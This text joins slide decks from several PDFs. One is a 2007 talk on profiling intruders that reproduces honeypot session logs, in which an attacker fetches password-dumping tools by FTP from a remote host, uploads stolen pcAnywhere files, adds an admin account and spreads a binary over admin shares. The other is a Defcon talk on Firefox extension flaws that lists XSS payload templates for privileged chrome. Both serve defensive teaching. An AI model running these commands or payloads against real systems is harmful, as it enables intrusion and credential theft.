Caught: USN San Diego detected that certain system files had been altered -
they uncovered a sniffer file and a file that contained the passwords he was
logging, and programs to gain root access and to cover tracks. Argentine
officials arrested him for hacking into telephone company facilities, seized his
computers.
–
$15K telephone service theft, millions in damaged files and investigative costs
yielded a $5k fine and 3 years of probation.
Copyright ©2007 Savid Technologies, Inc. All Rights Reserved
Thinking about Assessments?
» If you were an Analyst on this event
– How would you have analyzed the events?
• Would you consider the difficulty?
• Would you consider the target?
• Would you consider the outcome?
– How would one analyze this threat?
• Typology
• Victimology
• Other methods
Copyright ©2007 Savid Technologies, Inc. All Rights Reserved
Attacker Characterization
» Attack Characterization can has two primary components:
– Events – What has occurred by act of the attacker
– Threats – The motives, and intent of the attack
» Characterizing an attacker will rely on analyzing what you can see
over the network
– Generally session data isn’t available through production resources
– Web servers retain session logs, which can contain keystroke logs
– Host security programs can be purchased that record user activity and
session information
– Intrusion Detection systems are available that monitor session activity
– Honeynet technologies are available which configured properly can be
deployed to monitor session level interactions
Copyright ©2007 Savid Technologies, Inc. All Rights Reserved
Attacker Characterization
» Common Attacker Types:
– Naïve Novice (hacker)
– Advanced Novice (hacker)
– Professional or Dedicated Hacker
– Disgruntled Employee (insider)
– Corporate Espionage (Professional Hacker)
– Organized Crime
– Hacker Coalition
– Zealot Organization
– Cyber Terrorist
– Nation State actor
– Foreign Intelligence
Copyright ©2007 Savid Technologies, Inc. All Rights Reserved
Attacker Characterization
» Components of an Attacker Profile
– Motivation – the level of intensity and degree of focus
– Objectives - boasting rights, disruption, destruction, learn secrets, make
money
– Timeliness - how quickly they work (years, months, days, hours)
– Resources - well funded to unfunded
– Risk Tolerance – high (don’t care) to low (never want to be caught)
– Skills and Methods - how sophisticated are the exploits (scripting to
hardware lifecycle attacks)
– Actions - well rehearsed, ad hoc, random, controlled v. uncontrolled
– Attack Origination Points – outside, inside, single point, diverse points
– Numbers Involved in Attack - solo, small group, big group
– Knowledge Source - chat groups, web, oral, insider knowledge,
espionage
Copyright ©2007 Savid Technologies, Inc. All Rights Reserved
Challenges in Attack Characterization
» Cost
– Personnel (Skilled Talent)
– Equipment
– Software
– Productivity versus Business Operations
» Technology
– Most security budgets only focus on standard components
• Network sensing equipment
• Boundary protection devices
• Continuity of Operations (COOP)
• Disaster Recovery
» Legal
– Most organizations are nervous to deploy attacker analysis
systems that could be considered capable of “Profiling”
– Most do not understand the true legal nature of defensive
analysis technologies
Copyright ©2007 Savid Technologies, Inc. All Rights Reserved
Being the Analyst
» Identifying the points of injection (source point)
– Tracing an attack or insertion point back to the source to learn:
• How
• What
• When
• Why
• Where
– Acquiring all of the internal assets to perform analysis
• Some systems are out of bounds for analysis
– Either you do not own or you are not allowed to analyze
• Some logs could have been destroyed or corrupted during the
incident
– Post Mortem is reactive and not pro-active
• You don’t learn as much while attempting to remediate your incident
and return your network to normal operating levels
Copyright ©2007 Savid Technologies, Inc. All Rights Reserved
Case Study C
» “Datastream Cowboy” and “Kuji” attack USAF’s Rome Labs
– 26 days of attacks; 20 days of monitoring
– 7 sniffers, over 150 intrusions from 10 points of origin from 8 different
countries
– Priceless cost to national security, but $211,722 to undo damage to
computer systems.
• Investigative costs also not included
Copyright ©2007 Savid Technologies, Inc. All Rights Reserved
Thinking about Assessments?
» If you were an Analyst on this event
– How would you have analyzed the events?
• Would you consider the difficulty?
• Would you consider the target?
• Would you consider the outcome?
– How would one analyze this threat?
• Typology
• Victimology
• Other methods
Copyright ©2007 Savid Technologies, Inc. All Rights Reserved
Constructing Attacker Profiles
» What is a profile?
– As complete a description of the individual who committed the
crime as possible…based on the crime scene and the crime
itself
» Intruder Profiles can include:
– Gender
• Content Analysis
•
Research?
– Age
• Command Use / Key Stroke
•
Typology
•
Methodology
• Content Analysis
– Race/ethnicity
• Command Use / Key Stroke
• Methodology
• Content Analysis
Copyright ©2007 Savid Technologies, Inc. All Rights Reserved
Constructing Attacker Profiles (cont’d)
» What is a profile?
– As complete a description of the individual who committed the
crime as possible…based on the crime scene and the crime
itself
» Intruder Profiles can include: (continued)
– Level of intelligence/schooling
• Command Use / Key Stroke
• Methodology
• Content Analysis
• Remote Assessment (Clinical Expertise…)
– Political Affiliations
• Command Use/ Key Stroke
• Content Analysis
• External (Public) Data Sources
– Physical/Mental Health
• Command Use/ Key Stroke
• Content Analysis
• Observables
Copyright ©2007 Savid Technologies, Inc. All Rights Reserved
Constructing Assessments
»
Triage
–
Validation/Threat Assessment
»
Case Overview
–
Victimology
•
History/”Hotspots”
•
Nature of Information Targeted
•
Victim System Functionality
–
Attack
•
Vulnerability/Exploit
–
Disclosure History
•
MO, Signature, Content, Patterns
•
Tools
•
Utilization of Access
•
Data Transfer Technique
•
Logging Alteration/Deletion Technique
Copyright ©2007 Savid Technologies, Inc. All Rights Reserved
Analyzing Session Behaviors
» If session data is available an enormous amount of
observed information can be gained from the attacker
– Knowledge of your environment
• System Locations
• System Functionality
• Folder & File Locations
• Personnel & Roles
– Knowledge of the Operating System
– Grasp of commands, options, and arguments
– Organized or Disorganized
• This is helps build a clear picture of the intent and motive
– Whether the attack is scripted or not
– How often does the attacker generate typos?
• Could that be a signature?
Copyright ©2007 Savid Technologies, Inc. All Rights Reserved
Implementing Session Analysis
» The following sessions were live captures of
attackers through the use of honeynet
technologies laced within production networks
» This information was used to better understand
an attacker and increase the protection of the
networks surrounding these sensors…
– This information has been approved by the host of the
network and scrubbed to protect the source of the
customer
Copyright ©2007 Savid Technologies, Inc. All Rights Reserved
Honeypot Session Capture 1
»
'ipconfig');
»
'ping www.pivot.net');
»
'ipconfig /all');
»
'net view');
»
'ping -a press1a-exch1');
»
'time');
»
'net user');
»
'net view /domain');
»
'net view /domain:press1a');
»
'net view /domain:workgroup');
»
'dir c:\');
»
'dir d:\');
»
'dir ncts80.exe');
»
'dir tftp*.*');
»
'dir ftp.exe');
»
'ipconfig');
»
'echo ftp 192.168.232.61>f.txt');
»
'dir f.txt');
»
'echo IUSER_DB>>f.txt');
»
'echo muahaha>>f.txt');
»
'echo binary>>f.txt');
»
'echo get ncts80.exe>>f.txt');
»
'echo bye>>f.txt');
»
'type f.txt');
»
'ftp -s f.txt');
»
'ftp -s:f.txt');
»
'del f.txt');
»
'echo open 192.168.232.61>f.txt');
»
'echo IUSER_DB>>f.txt');
»
'echo muahaha>>f.txt');
»
'echo binary>>f.txt');
»
'echo get ncts80.exe>>f.txt');
»
'echo bye>>f.txt');
»
'type f.txt');
»
'ftp -s:f.txt');
»
'dir ncts80.exe');
»
'ncts80.exe');
»
'dir ncts80.exe');
»
'netstat -an');
»
'ftp -s:f.txt');
»
'dir ncts80.exe');
»
'ren ncts80.exe winsec.exe');
Copyright ©2007 Savid Technologies, Inc. All Rights Reserved
Honeypot Session Capture 1
»
'ping -a 192.168.100.15');
»
'net name');
»
'net start');
»
'dir c:\*.cif /s');
»
'copy c:\docume~1\alluse~1\applic~1\symantec\pcanyw~1\*.cif');
»
'ren winnt.~1,cif 1.cif');
»
'ren winnt.~1.cif 1.cif');
»
'ren winntn~1.cif 1.cif');
»
'dir 1.cif');
»
'copy c:\docume~1\alluse~1\applic~1\symantec\pcanyw~1\*.cif');
»
'ren winnt.~1,cif 1.cif');
»
'ren winnt.~1.cif 1.cif');
»
'ren winntn~1.cif 1.cif');
»
'dir 1.cif');
»
'ren winntn~1.cif 2.cif');
»
'ren winntn~2.cif 2.cif');
»
'dir *.cif');
»
'echo open 192.168.232.61>a.txt');
»
'del f.txt');
»
'echo IUSER_DB>>a.txt');
»
'echo muahaha>>a.txt');
»
'echo binary>>a.txt');
»
'echo put 1.cif>>a.txt');
»
'echo put 2.cif>>a.txt');
»
'echo get fport.exe>>a.txt');
»
'echo get pwdump4.exe >>a.txt');
»
'echo get lsaext.dll >>a.txt');
»
'echo get findpass.exe>>a.txt');
»
'echo get pskill.exe>>a.txt');
»
'echo get pulist.exe>>a.txt');
»
'echo bye>>a.txt');
»
'type a.txt');
»
'ftp -s:a.txt-');
»
'del a.txt');
»
'fport');
»
'pwdump4 /l');
»
'pulist');
»
'findpass sophie administrator 320');
»
'findpass');
»
'findpass press1a administrator 320');
»
'dir c:\');
»
'dir ncts80.exe');
»
'dir ncts80.exe');
Copyright ©2007 Savid Technologies, Inc. All Rights Reserved
Honeypot Session Capture 1
»
'dir findpass.exe');
»
'net view');
»
'ping -a arcane');
»
'netstat -an');
»
'ping -a 10.50.140.250');
»
'ping -a 192.168.100.15');
»
'net share');
»
'net view \\zeta');
»
'net view \\arcane');
»
'dir \\arcane\winstall');
»
'dir \\arcane\d');
»
'dir \\arcane\clients');
»
'dir \\arcane\c');
»
'dir ncts80.exe');
»
'at \\arcane');
»
'copy winsec.exe \\arcane\d\winnt\system32');
»
'dir \\arcane\admin$\system32');
»
'net time \\arcane');
»
'dir c:\');
»
'net time \\arcane');
»
'dir \\arcane\admin$\system32\winsec.exe');
»
'copy winsec.exe \\arcane\admin$\system32\winsec.exe');
»
'dir \\arcane\admin$\system32\winsec.exe');
»
'at \\arcane 10:55pm winsec.exe');
»
'net time \\arcane');
»
'net time \\zeta');
»
'net view \\zeta');
»
'at \\zeta');
»
'dir \\zeta\c$');
»
'copy winsec.exe
\\zeta\admin$\system32');
»
'at \\zeta 10:55pm winsec.exe');
»
'at \\press1a-exch1');
»
'dir \\press1a\c$');
»
'copy winsec.exe \\press1a-exch1\admin$\system32');
»
'net time \\press1a-exch1');
»
'at \\press1a-exch1 11:12pm winsec.exe');
»
'at \\press1a-exch1');
»
'at \\arcane');
»
'at \\zeta');
»
'dir \\zeta\admin$\system32\winsec.exe');
»
'dir \\arcane\admin$\system32\winsec.exe');
»
'dir cmd.exe');
»
'ping -a press1a-exch1');
»
'echo open 192.168.232.61>a.txt');
»
'echo IUSER_db>>a.txt');
Copyright ©2007 Savid Technologies, Inc. All Rights Reserved
Analyzing Session Behavior
» How would you evaluate this attack?
– Sophisticated?
– Motivated?
– Targeted or Opportunistic?
– Organized or Disorganized?
– Automated or Live ?
Copyright ©2007 Savid Technologies, Inc. All Rights Reserved
Honeypot Session Capture 2
»
'ipconfig');
»
'ping 192.168.1.50');
»
'net use');
»
'net use /?');
»
'exit');
»
'command.com');
»
'findpass');
»
'findpass win2kpro administrator 192');
»
'net user');
»
'net user rt rt /add');
»
'net localgroup administrators rt /add');
»
'exit');
»
'dir /S sebek.sys');
»
'ping -c 1 192.168.15.2');
»
'ping -n 1 192.168.2');
»
'ping -n 1 192.168.15.2');
»
'ping -n 1 192.168.15.3');
»
'ping -n 1 192.168.15.4');
»
'ping -n 1 192.168.15.5');
»
'arpm -a');
»
'arp -a\');
»
'arp -a');
»
' 192.168.15.2 00-0c-29-80-9e-2e dynamic ');
»
' 192.168.15.3 00-0c-29-63-e3-5f dynamic ');
»
' 192.168.15.4 00-0c-29-e6-b3-f6 dynamic ');
»
' 192.168.15.5 00-0c-29-6a-6b-71 dynamic ');
»
'ping -n 1 192.168.15.10');
»
'arp -a');
»
'ping -n 1 192.168.15.2');
»
'ping -n 1 192.168.15.4');
»
'ping -n 1 192.168.15.5');
»
'ping -n 1 192.168.15.10');
»
'ping -n 1 192.168.15.3');
»
'arp -a');
»
'arp -a');
»
'ping -n 1 192.168.15.10');
»
'arp -a');
»
'ipconfig /all');
»
'net start');
»
'net use');
»
'cd \\.host');
»
'exit');
»
'net use');
»
'net share');
»
'net use k: \\.host ');
Copyright ©2007 Savid Technologies, Inc. All Rights Reserved
Honeypot Session Capture 2
»
'k:');
»
'cd \');
»
'dir');
»
'findpass');
»
'findpass win2kpro administrator 192');
»
'dir');
»
'cd progr*');
»
'dir');
»
'cd vmware');
»
'dir');
»
'cd vmware*');
»
'dir');
»
'type hook.dll | more');
»
'dir /S *.sys');
»
'cd \');
»
'dir');
»
'cd doc*');
»
'dir');
»
'cd iwar*');
»
'dir');
»
'cd desk*');
»
'dir');
»
'cd ..');
»
'dir');
»
'cd my*');
»
'dir');
»
'cd ..\..');
»
'dir');
»
'cd administrator');
»
'dir');
»
'cd desktop');
»
'dir');
»
'cd ..');
»
'cd ..');
»
'dir');
»
'cd administrator');
»
'dir');
»
'cd my*');
»
'dir');
»
'cd ');
»
'cd \');
»
'net view');
»
'net view \\win2ks');
»
'net view \\.host');
Copyright ©2007 Savid Technologies, Inc. All Rights Reserved
Honeypot Session Capture 2
»
'net view \\win2kpro');
»
'at');
»
'net service');
»
'net start');
»
'exit');
»
'exit');
»
'ipconfig');
»
'net user');
»
'net view');
»
'net view /domain');
»
'net view /domain:sp');
»
'net view /domain:domingo');
»
'net group "Domain Users"');
»
'net use');
»
'netstat -t tcp -an');
»
'netstat -p tcp -an');
»
'net start');
»
'cd \');
»
'mkdir tools');
»
'attrib +h tools');
»
'cd tools');
»
'a');
»
'a');
»
'a');
»
'a');
»
'a');
»
'cd tools');
»
'cd c:\tools');
»
'dir');
»
'type a');
»
'a');
»
'a');
»
'a');
»
'more a');
»
'ftp -s:a 192.168.0.36');
»
'ftp -s:a 192.168.0.36');
»
'type a');
»
'net use');
»
'net share');
»
'nmap');
»
'nmap -sS -sV -O 192.168.1.1/24 -p 0-65535 -oN one_scan');
»
'nmap -sT -sV -O 192.168.1.1/24 -p 0-65535 -oN one_scan');
»
'sl');
»
'sl -t 21,22,25,42,53,135,137,139,443,445,1433,3306,6000 -z 192.168.1.1-254');
»
'for /L %i in {1,1,254} DO ping -n 1 192.168.1.%i');
Copyright ©2007 Savid Technologies, Inc. All Rights Reserved
Analyzing Session Behavior
» How would you evaluate this attack?
– Sophisticated?
– Motivated?
– Targeted or Opportunistic?
– Organized or Disorganized?
– Automated or Live?
Copyright ©2007 Savid Technologies, Inc. All Rights Reserved
Honeypot Session Capture 3
»
'net view /domain:3DES');
»
'net view /domain:DRS');
»
'cd \');
»
'netdom query');
»
'dir');
»
'netdom /?');
»
'netdom');
»
'cd Doc*');
»
'dir');
»
'cd IW*');
»
'dir');
»
'cd De*');
»
'ddir');
»
'-Rq');
»
'cd ..');
»
'cd ..');
»
'cd ..');
»
'dir /s *.doc');
»
'dir /s *.xls');
»
'dir /s *.ppt');
»
'dir');
»
'del netdom.exe');
»
'exit');
»
'ipconfig');
»
'netdom');
»
'ping 192.168.14.31');
»
'arp -a');
»
'ping -a 192.168.10.31');
»
'ping-n 1 -a 192.168.14.31');
»
'ping -n 1 eyh8cPKl`a$YSPTVQc^5-&g1-a 192.168.14.31');
»
'net use * \\192.168.14.31\c$ /u:192.168.14.31\Administrator s4t4n!!');
»
'net use');
»
'net use /?');
»
'net use * \\192.168.14.31\c$ /u:192.168.14.31\Administrator');
»
'ping 192.168.14.31');
»
'set ');
»
'net use \\192.168.14.31');
Copyright ©2007 Savid Technologies, Inc. All Rights Reserved
Honeypot Session Capture 3
»
'ping -n 1 mssql');
»
'net use * \\192.168.14.31\c$ s4t4n!! /u:192.168.14.31\Administrator');
»
'net view');
»
'set');
»
'net user rt rt /add');
»
'net localgroup administrators rt /add');
»
'net user');
»
'net view /domain');
»
'net view /domain:DRS');
»
'net view /domain:AR'qMgGFN2.:0i-Q3nDA');
»
'net view /domain:workgroup');
»
'netstat -an');
»
'ipconfig');
»
'arp -a');
»
'net users');
»
'global');
»
'global "Domain Users"');
»
'global Administrators \\MSSQL');
»
'net view /domain');
»
'global "Domain Users" 3DES');
Copyright ©2007 Savid Technologies, Inc. All Rights Reserved
Analyzing Session Behavior
» How would you evaluate this attack?
– Sophisticated?
– Motivated?
– Targeted or Opportunistic?
– Organized or Disorganized?
– Automated or Live?
Copyright ©2007 Savid Technologies, Inc. All Rights Reserved
Case Study D
– Carlos “SMAK” Salgado
• Hacked several companies doing business on the WWW, including
an ISP, gained unauthorized access, and harvested tens of
thousands of credit card records.
• Two of the companies involved had no knowledge of being hacked
until they were contacted by the FBI
• SMAK made about $200k from the sale of credit card information to
other criminals, who in turn inflicted $10 million in damage upon the
consuming public.
• SMAK pleaded guilty on four of the five counts, and received 2 1/2
years in federal prison and five years of probation.
Copyright ©2007 Savid Technologies, Inc. All Rights Reserved
Thinking about Assessments?
» If you were an Analyst on this event
– How would you have analyzed the events?
• Would you consider the difficulty?
• Would you consider the target?
• Would you consider the outcome?
– How would one analyze this threat?
• Typology
• Victimology
• Other methods
Copyright ©2007 Savid Technologies, Inc. All Rights Reserved
Supporting Technologies
» I can’t go cover all this theory without some
tools…
» Intrusion Analysis Data Sources
– NIDS/HIDS
– Network Security Systems
• Firewalls
• Anti-Virus
• Routers
– Honeynet Technologies
– Digital Media Forensics
– Systems Event Logs
Copyright ©2007 Savid Technologies, Inc. All Rights Reserved
Honeynet Technologies
» In order to catch someone crafty you need to be crafty
» Honeypots and Honeynets
– A security resource who’s value lies in being probed, attacked
or compromised
– Has no production value, anything going to or from a honeypot is
likely a probe, attack or compromise
– The desire is to be replicas or appear as production network
resources
– A honeypot is an information system resource whose value lies
in unauthorized or illicit use of that resource.
– Has no production value, anything going to or from a honeypot is
likely a probe, attack or compromise.
– Primary value to most organizations is information and
deception.
Copyright ©2007 Savid Technologies, Inc. All Rights Reserved
Honeypots
» Advantages
– Collect small data sets of high value.
– Reduce false positives
– Catch new attacks, false negatives
– Work in encrypted or IPv6 environments
– Simple concept requiring minimal resources
» Disadvantages
– Limited field of view (microscope)
• You can’t rely solely on honeynet technologies
– Risk (mainly high-interaction honeypots)
• They require a large amount of analysis
• Automation is not perfect if operating on a limited budget
Copyright ©2007 Savid Technologies, Inc. All Rights Reserved
Honeypot Types
» Many Types Available
– http://www.honeynet.org
– High Interaction - Does not scale well
• Resources
• Machines
• Data Analysis
– Low Interaction - Can scale
• Specific Purpose
• Strategic Deployment
Copyright ©2007 Savid Technologies, Inc. All Rights Reserved
Analysis Capabilities
Copyright ©2007 Savid Technologies, Inc. All Rights Reserved
Analysis Capabilities
Copyright ©2007 Savid Technologies, Inc. All Rights Reserved
Analysis Capabilities
Copyright ©2007 Savid Technologies, Inc. All Rights Reserved
Analysis Capabilities
Copyright ©2007 Savid Technologies, Inc. All Rights Reserved
Jedi Mind Tricks!
» Spend more time analyzing attacks
» Spend more time performing analysis
» Perform Victimology and Typology for each
incident and affected system
» Build a profile of the Incident, you may see
cross-over with approaches and methods
against multiple events
» Use the lessons learned to add stronger policy
and countermeasures
Copyright ©2007 Savid Technologies, Inc. All Rights Reserved
Thinking like a Analyst
» Professional Recommendations
– Create photos
• You can save a lot of time on documentation by attaching
photos to the case (operational environment, storage, etc.)
– You cannot decide to create a chain-of-custody if you have
already performed any of these steps
• Think before you act
– If you are working a prosecutable intrusion, ask for an attorney to
help you formulate a plan of approach
– Always describe every possible detail in the reports
• You never know what will be important later
• You never know what clue will lead to the “needle”
– Take more time to study non-cyber based criminal case studies
• You can relate to how signatures were identified
• Learn more about Criminal Sciences
• Document every detail, no matter how minute, it may be a clue for
later
Copyright ©2007 Savid Technologies, Inc. All Rights Reserved
In Short…
» Analysis Suggestions
– Attempting to better understand your threats can increase your
awareness of your network and protection needs
– Defining your assets and valuables can identify possible threats
– Studying non-cyber based criminal case studies can:
• Increase your ability to correlate events with more insight
• Studying more Criminal Case Studies can augment experience
– Cyber Crimes
– Serial Murders
– Habitual Offenders
• Provide you with understandings of resources and tools not
commonly available to Security Programs
– Keep up to-date on latest exploits and trends…
– Maintain an active record of your environment
– Be aware of what your network behavior
Copyright ©2007 Savid Technologies, Inc. All Rights Reserved
Resources
» Online (tools and references)
–
http://www.honeynet.org
–
http://www.crimelibrary.com
–
http://www.ists.dartmouth.edu
–
http://en.wikipedia.org/wiki/Offender_profiling
–
http://en.wikipedia.org/wiki/List_of_criminology_topics
» Publications (just a tip of the ice berg)
– Cyber Adversary Characterization
• ISBN 978-1931836111
– Profiling Violent Crimes
• ISBN 0-7619-2593-7
– Offender Profiling and Crime Analysis
• ISBN 1-903240-21-2
» Physical References
– Talk with Criminal Justice and Criminal Science academics
Copyright ©2007 Savid Technologies, Inc. All Rights Reserved
Famous Dead Guy Quotes
What enables an intelligent leader (intrusion analysts)
to overcome others (cyber-criminals) is
foreknowledge. All matters require foreknowledge
Sun Tzu
The Art of War
The price one pays for pursuing any profession or
calling is an intimate knowledge of its ugly side.
James Baldwin
(1924-1987)
Copyright ©2007 Savid Technologies, Inc. All Rights Reserved
Any Questions?
[email protected] | pdf |
Abusing Firefox Extensions
Defcon17– US, Las Vegas
Roberto Suggi Liverani
Nick Freeman
WTF Are We?
Roberto Suggi Liverani
Senior Security Consultant – Security-Assessment.com
OWASP NZ Leader
http://malerisch.net
Nick Freeman
Security Consultant – Security-Assessment.com
http://atta.cked.me
Contact us
[email protected]
[email protected]
Agenda
Introduction
Security threats and risks
Disclosure summary
Abusing Extensions – a selection of exploits and demos
Introduction
What are Firefox extensions?
It‟s just software
Equivalent of ActiveX
What extensions do?
Extend, modify and control browser behaviour
Provides extended/rich functionality and added features
Different type of Firefox addons
Extensions
Plugins (Search Engine plugins) and Themes
5
XUL:
- provides UI to extensions
- combined with JavaScript,
CSS, HTML elements
-.xul file
XBL:
- allows creation of new widgets
- combined with CSS, XML and
XUL
XPConnect:
- middle layer allows JavaScript
to interface with XPCOM
XPCOM:
- reusable
components/interfaces
- interact with low layer libraries:
network, I/O, file system, etc.
Chrome:
– privileged browser zone
– code fully trusted
Extension Security Model
Mozilla extension security model is nonexistent
Extension code is fully trusted by Firefox
Vulnerability in extension code might result in full system
compromise
No security boundaries between extensions
An extension can silently modify/alter another extension
XPCom C++ components subject to memory corruption
Extensions vulnerabilities are platform independent
Lack of security policies to allow/deny Firefox access to internal API,
XPCom components, etc
Any Mozilla application with the extension system is vulnerable to
same class of issues (e.g. Thunderbird)
The potential
Statistics – Firefox Browser Market Share
Beyond 20% globally since November 2008, more than 50% in certain
regions/countries
Source: Marketshare - marketshare.hitslink.com
Extension downloads boom
Statistics – AMO (Addons.Mozilla.Org) Download Trend
1 billion extension downloads from AMO – Nov 2008
Extensions are everywhere
Search engines
Social
Networks
Services
Software/OS/Web
Application
Package
Extensions
Portals
Google Toolbar
Google Browser
Sync
Yahoo Toolbar
Ask.com Toolbar
Del.icio.us
Extension
Facebook
Toolbar
AOL Toolbar
LinkedIn
Browser
Toolbar
Netcraft Anti-
Phishing
Toolbar
PhishTank
SiteChecker
Skype
AVG
Ubuntu
LiveLink
(OpenText)
AMO (addons
mozilla org)
Mozdev
Xulplanet
The weakest part of the chain
Human Factors - users:
Trust
AMO Recommended Extensions
Open Source
Misconception = users expect extensions to be safe
'according to Softpedia, it's 100% safe„
NoScript/AdBlockPlus provides false sense of security
chrome:// URI whitelisted on NoScript, any XSS injection there
is not blocked
The weakest part of the chain ctd.
Human Factors – developers:
The Mozilla page for building extensions doesn't mention the word
'security' once
Many addon developers do it for a hobby – not necessarily aware of
how dangerous a vulnerable extension can be
Human Factors – reviewers:
Don‟t need to have great knowledge about app / webapp security
Need to follow a few guidelines for what is and isn‟t acceptable
These guidelines focus on finding malicious extensions
Vulnerable extensions can quite easily slip through
Concerns on AMO
Everyone can write an extension and submit it to AMO (even us :)
AMO review process lacks complete security assessment
Few extensions are signed in AMO. Extensions are generally not
“signed”. Users trust unsigned extensions.
Experimental extensions (not approved yet) are publicly available
Extension And Malware
Some people have already exploited this concept:
FormSpy - 2006
Downloader-AXM Trojan, poses as the legitimate NumberedLinks
0.9 extension
Steal passwords, credit card numbers, and e-banking login details
Firestarterfox - 2008
Hijacks all search requests through multiple search engines and
redirects them through Russian site thebestwebsearch.net
Vietnamese Language Pack - 2008
Shipped with adware because the developer was owned
Might happen in the near future…
Malware authors bribe/hack famous/recommended extension
developer/vendor
Initial benign extension, malware is introduced in an 3rd/4th update
Abusing Firefox Extensions
Finding bugs in Firefox extensions is fun ;-)
Multiple ways to find them – it depends on:
Nature of the extension
Logic exposed
Input and output
XPCOM components
Third party API/components
Our research focus:
Extension logic, security model and functions exposed
Extension data flow and data injection points
XSS or Cross Browser Context
XSS on steroids
Any input rendered in the chrome is a potential XSS injection point
XSS in chrome is privileged code!
It can interface with XPConnect and XPCOM = 0wn3d!
No SOP restrictions!
Cannot be blocked by NoScript!
NoScript’s Whitelist
XSS disclosing /etc/passwd
Testing for XSS
Run Firefox with console active
firefox.exe -console
To confirm execution of our XSS payload, generate an error into
console – dump(error);
Is our XSS in Chrome? Check all window properties - not just window
Useful XSS payloads
Check if nsIScriptableUnescapeHTML.parseFragment() is used
Lack of this might mean use of input black-list filters
Method Description
Payload
iframe with data URI and
base64 payload
<iframe src =
„data:text/html;base64,base64XSSpayloadhere‟>
Recursive iframes
<iframe src = “data:text/html,<iframe src =
„data:text/html;base64,base64iframe+data+XSSpa
yload‟> </iframe”></iframe>
Embedded XSS
<embed src=„javascript:XSSpayload‟>
XSS on DOM events
<img src=„a‟ onerror=XSSpayload>
XUL injection
<![CDATA[“<button id=“1” label=“a”
oncommand=„alert(window)‟ />”]]>
XBL injection
style=“-moz-binding:url(data:text/xml;charset=utf-
8,XBL)”
Tools
Firebug – provides console, monitor and debugging features
Chromebug – Firebug for chrome, XUL
WebDeveloper – allows more control on page elements, cookies
XPComViewer – shows registered XPCOM components/interfaces
Venkman - JavaScript Debugger
Console2 – advanced error console
ChromeList – File viewer for installed extensions
Execute JS - enhanced JavaScript-Console
DOM Inspector – allows inspecting the DOM
Burp – web proxy
Mozrepl – js shell via telnet service
Sysinternals Tools – regmon, filemon, tcpmon, etc.
Total number of downloads from AMO: 30,000,000+
Abusing extensions…
Extension
Name
Date Disclosed
Vendor Response
Date
Fix Date
WizzRSS
2009/02/18
2009/02/18
2009/03/20
CoolPreviews
2009/03/05
No response, silently
fixed
2009/04/20
FireFTP
N/A
N/A
2009/02/19
Undisclosed
2009/02/16
2009/02/16
N/A
Feed Sidebar
2009/03/04
2009/03/05
2009/03/14
Undisclosed
2009/02/27
N/A
N/A
UpdateScanner
2009/06/08
2009/06/11
2009/06/15
Undisclosed
2009/06/22
N/A
N/A
Undisclosed
2009/06/30
2009/06/30
2009/07/06
ScribeFire
2009/07/10
2009/07/15
2009/07/20
Skype
N/A
N/A
2009/06/03
Skype
Skype (<=3.8.0.188)
Issue:
Automatic arbitrary number of calls to arbitrary phone numbers and
skypenames
Function skype_tool.call() is exposed to DOM and can be called
directly
Skype username injection - skypeusername%00+\"
Filtering/Protection:
None.
Exploit:
Automatic arbitrary phone call to multiple numbers
Demo
Demo.avi
Arbitrary phone calls
CoolPreviews
CoolPreviews – 2.7
Issue:
URI is passed to the CoolPreviews Stack without any filtering.
A data: URI is accepted and its content is rendered in the chrome
privileged zone.
User triggers exploit by adding the malicious link to the CoolPreviews
stack (right-click by default)
Filtering/Protection:
No use of URI whitelist
Exploit:
data:text/html,base64;payloadbase64encoded
Demo
Remote Code Execution Payload – invoking cmd.exe
Update Scanner
Update Scanner (<3.0.3)
Issue:
Updated content is rendered within a chrome privileged window.
Malicious site inserts new payload and that is rendered when the user
looks at the site changes from the Update Scanner window
Filtering/Protection:
<script> is ignored
Exploit:
XSS via event handler : <img src=a onerror=„evilpayload‟>
Demo
Compromising NoScript – whitelisting malicious site
FireFTP
FireFTP (<1.1.4)
Issue:
HTML and JavaScript in a server‟s welcome message is evaluated
when connecting to an FTP server.
The code is executed in the chrome privilege zone
Filtering/Protection:
None.
Exploit:
Local File Disclosure
Demo
Local File Disclosure
Feed Sidebar
Feed Sidebar (<3.2)
Issue:
HTML and JavaScript in the <description> tags of RSS feeds is
executed in the chrome security zone.
JavaScript is encoded in base64 or used as the source of an iframe
and executed when the user clicks on the malicious feed item.
Filtering/Protection:
<script> tags are stripped
Exploit:
<iframe
src="data:text/html;base64,base64encodedjavascript">&
lt;/iframe>
Demo
Password stealing
ScribeFire
ScribeFire (<3.4.3)
Issue:
JavaScript in DOM event handlers such as onLoad is evaluated in the
chrome privileged browser zone.
Drag & dropping a malicious image into the blog editor executes the
JavaScript.
Filtering/Protection:
No protection for DOM event handlers.
Exploit:
<img src=„http://somewebsite.tld/lolcatpicture.jpg‟
onLoad=„evilJavaScript‟>
Exploit
Reverse VNC Using XHR – contents of payload
Security Disclosure
Security disclosure is a new process to extension
developers/vendors
Security is underestimated/not understood.
Few posts regarding security vulnerabilities in Firefox extensions in
sec mailing-lists as Full Disclosure.
Mozilla security team can now be queried for bugs found in extensions
Recommendations
Developers:
Follow OWASP developer‟s guide
Read code of similar extensions for ideas on avoiding common bugs
Security professionals:
Adhere to the OWASP testing guide and our presentation
Watch for publications for new ideas on breaking extensions
End-users:
Don‟t trust extensions!
Changelogs of security issues / Bugzilla
Updating addons (after checking the above)
Consider Safe Mode (disable all extensions)
Thanks! (buy us a beer!)
[email protected]
[email protected]
References
Research and publications on the topic
Extensible Web Browser Security - Mike Ter Louw, Jin Soon Lim,
and V.N. Venkatakrishnan
http://www.mike.tl/view/Research/ExtensibleWebBrowserSecur
ity
Bachelor thesis on Firefox extension security - Julian Verdurmen
http://jverdurmen.ruhosting.nl/BachelorThesis-Firefox-
extension-security.html
Attacking Rich Internet Applications (kuza55, Stefano Di Paola)
http://www.ruxcon.org.au/files/2008/Attacking_Rich_Internet_A
pplications.pdf
References
Firebug – Petko. D. Petkov, Thor Larholm, 06 april 2007
http://larholm.com/2007/04/06/0day-vulnerability-in-firebug/
http://www.gnucitizen.org/blog/firebug-goes-evil/
Tamper Data XSS - Roee Hay – 27 jul 2008
http://blog.watchfire.com/wfblog/2008/07/tamper-data-cro.html
GreaseMonkey – ISS – 21 Jul 2005
http://xforce.iss.net/xforce/xfdb/21453
Sage RSS Reader (pdp & David Kierznowski)
http://www.gnucitizen.org/blog/cross-context-scripting-with-
sage/ | pdf |
2022/3/17 16:07
Evernote Export
file:///C:/Users/jiushi/Desktop/k8s未授权.html
1/20
介绍
